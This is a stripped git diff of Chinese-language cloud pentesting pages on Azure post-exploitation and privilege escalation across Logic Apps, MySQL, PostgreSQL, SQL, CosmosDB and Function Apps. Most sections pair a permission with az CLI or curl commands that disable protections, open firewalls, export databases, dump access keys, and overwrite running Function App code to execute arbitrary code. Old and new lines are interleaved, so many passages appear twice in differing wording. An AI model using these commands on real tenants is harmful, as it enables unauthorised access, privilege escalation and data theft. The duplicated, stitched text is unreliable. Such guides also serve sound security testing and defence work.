通过这些权限,您可以修改逻辑应用工作流并管理其身份。具体而言,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得逻辑应用能够在没有明确凭据的情况下进行身份验证并访问其他 Azure 资源。
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制执行。
{% code overflow="wrap" %}
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制。
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
拥有此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程触发意外操作或通过意外启动、停止或重启 Logic Apps 导致停机。
{% code overflow="wrap" %}
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
通过此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程触发意外操作或通过意外启动、停止或重启 Logic Apps 导致停机。
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
通过此权限,您可以配置或修改 web 应用的设置,包括托管在 App Service Plan 上的 Logic Apps。这允许更改应用设置、连接字符串、身份验证配置等。
{% code overflow="wrap" %}
通过此权限,您可以配置或修改 Web 应用的设置,包括托管在应用服务计划上的逻辑应用。这允许更改应用设置、连接字符串、身份验证配置等。
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
### `Microsoft.Logic/integrationAccounts/write`
拥有此权限,您可以创建、更新或删除 Azure Logic Apps 集成帐户。这包括管理集成帐户级别的配置,如映射、模式、合作伙伴、协议等。
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。
{% code overflow="wrap" %}
通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改映射。映射用于将数据从一种格式转换为另一种格式,从而实现不同系统和应用程序之间的无缝集成。
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业B2B工作流的实体或系统。
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业 (B2B) 工作流的实体或系统。
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改会话。会话用于 B2B 工作流,以在定义的时间段内对消息进行分组并跟踪相关交易。
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
@@ -147,10 +112,8 @@ az logic integration-account session create \
}
}'
```
{% endcode %}
### "*/delete"
通过此权限,您可以删除与 Azure Logic Apps 相关的资源
凭借此权限,您可以删除与 Azure Logic Apps 相关的资源

View File

@@ -5,54 +5,40 @@
## MySQL 数据库后期利用
有关 MySQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
拥有此权限,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
{% code overflow="wrap" %}
拥有此权限,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
```bash
az mysql flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
拥有此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保存数据非常有用。
{% code overflow="wrap" %}
通过此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
```bash
az mysql flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
通过此权限,您可以配置或更新 Azure 上 MySQL Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
通过此权限,您可以为 Azure 上的 MySQL Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
拥有此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID全局事务标识符。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。GTID 重置后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR时间点恢复。成功的地理恢复仅在 5 天后才可能进行。
{% code overflow="wrap" %}
通过此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID全局事务标识符。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。重置 GTID 后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR时间点恢复。成功的地理恢复仅在 5 天后才可能。
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group <resource_group_name> \
--gtid-set <gtid>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
通过此权限,您可以更新 Azure 上 MySQL Flexible Server 实例的配置设置。这允许自定义服务器参数例如性能调优、安全配置或操作设置。您可以批量更新以下参数audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors 和 max_connections。
{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group <resource_group_name> \
--server-name <server_name> \
--args max_connections=<value>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
通过此权限,您可以将用户分配的托管身份分配给 MySQL 灵活服务器。
{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
{% code overflow="wrap" %}
通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
```bash
az mysql flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/start/action"
### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -5,54 +5,40 @@
## PostgreSQL 数据库后期利用
有关 PostgreSQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-postgresql.md" %}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
{% code overflow="wrap" %}
拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
拥有此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
{% code overflow="wrap" %}
通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
{% code overflow="wrap" %}
通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁防护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
通过此权限,您可以创建或修改 Azure 上 Postgres Flexible Server 实例的防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
{% code overflow="wrap" %}
通过此权限,您可以为 Azure 上的 Postgres Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
通过此权限,您可以更新 Azure 上 Postgres Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。
{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name <parameter_name> \
--value <parameter_value>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
{% code overflow="wrap" %}
通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
```bash
az postgres flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -10,7 +10,7 @@
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
通过这些权限,攻击者可以在被攻陷的环境中创建和更新 elasticPools。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性可能会干扰操作或启用其他恶意行为。
```bash
@@ -40,7 +40,7 @@ az sql elastic-pool update \
--dtu <new-dtu-value> \
--tags <key=value>
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。
```bash
@@ -51,16 +51,16 @@ az sql server audit-policy update \
--storage-account <storage_account_name> \
--retention-days 7
```
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。
通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### "Microsoft.Sql/servers/databases/export/action"
### `Microsoft.Sql/servers/databases/export/action`
拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而带来重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。
```bash
@@ -74,7 +74,7 @@ az sql db export \
--admin-password <admin_password>
```
### "Microsoft.Sql/servers/databases/import/action"
### `Microsoft.Sql/servers/databases/import/action`
拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据或通过在导入的数据库中嵌入有害脚本或触发器。此外您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。
```bash
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## CosmosDB Privesc
有关 SQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
通过这些权限,您可以提升特权,给予用户执行查询和连接到数据库的权限。首先创建一个角色定义,赋予必要的权限和范围。
{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
{% endcode %}
之后,将定义的分配给用户。之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
{% code overflow="wrap" %}
之后,定义的分配被给予一个用户。在此之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
通过此权限,您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限,使您能够执行数据读取、写入和配置更改等操作。
{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -14,13 +14,13 @@
如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。
一旦找到函数代码所在的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。
一旦找到函数代码的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING``WEBSITE_CONTENTSHARE`)
函数的代码通常存储在文件共享中。拥有足够的访问权限后,可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。
此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从&#x20;
此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。
> [!CAUTION]
> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**可以在函数中执行任意代码并提升权限。
> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**可以在函数中执行任意代码并提升权限。
以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息:
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
在函数应用使用的存储帐户容器的文件夹 `function-releases`,通常会发现 **zip 发布**
通常可以在函数应用使用的存储帐户容器的文件夹 `function-releases`找到 **zip 发布**,该容器通常被称为 `function-releases`
通常,这种部署方法会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置:
```bash
@@ -66,7 +66,7 @@ az functionapp config appsettings list \
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING``WEBSITE_CONTENTSHARE`)
拥有读取存储函数数据的存储帐户内容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码:
拥有读取存储帐户中存储函数数据的容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的发布,格式为 **Squashfs 文件系统文件格式**,因此可以读取函数的代码:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**该容器位于 **`<app-name>`** 文件夹的 JSON 文件
可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**这些密钥位于 **`<app-name>`** 文件夹的 JSON 文件
> [!CAUTION]
> 只要有足够的权限连接到 **包含 zip 扩展文件的 blob 容器**(实际上是 **`squashfs`**),就可以在 Function 中执行任意代码并提升权限。
@@ -116,13 +116,13 @@ az storage blob upload \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
### `Microsoft.Web/sites/host/listkeys/action`
此权限允许列出指定函数的功能、主密钥和系统密钥,但不包括主机密钥:
此权限允许列出指定函数的功能密钥、主密钥和系统密钥,但不包括主机密钥:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
使用主密钥也可以通过以下 URL 获取源代码:
使用主密钥也可以获取源代码URL 如下
```bash
# Get "script_href" from
az rest --method GET \
@@ -133,7 +133,7 @@ curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
并且要**更改正在执行的代码**在函数中
并且要**更改正在函数中执行的代码**
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
### `Microsoft.Web/sites/functions/listKeys/action`
此权限允许获取指定函数的主密钥:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
### `Microsoft.Web/sites/host/functionKeys/write`
此权限允许创建/更新指定函数的函数密钥:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
### `Microsoft.Web/sites/host/masterKey/write`
此权限允许为指定的函数创建/更新主密钥:
```bash
@@ -164,13 +164,13 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
> [!CAUTION]
> 请记住,使用此密钥您还可以访问源代码并按前面所述进行修改!
### Microsoft.Web/sites/host/systemKeys/write
### `Microsoft.Web/sites/host/systemKeys/write`
此权限允许为指定的函数创建/更新系统功能密钥:
此权限允许为指定的函数创建/更新系统函数密钥:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
### `Microsoft.Web/sites/config/list/action`
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含一个 **访问函数的 blob 存储的帐户密钥,具有完全权限**
```bash
@@ -181,9 +181,9 @@ az functionapp config appsettings list --name <func-name> --resource-group <res-
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示要在函数内部执行的代码的位置。&#x20;
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示要在函数内部执行的代码的位置。
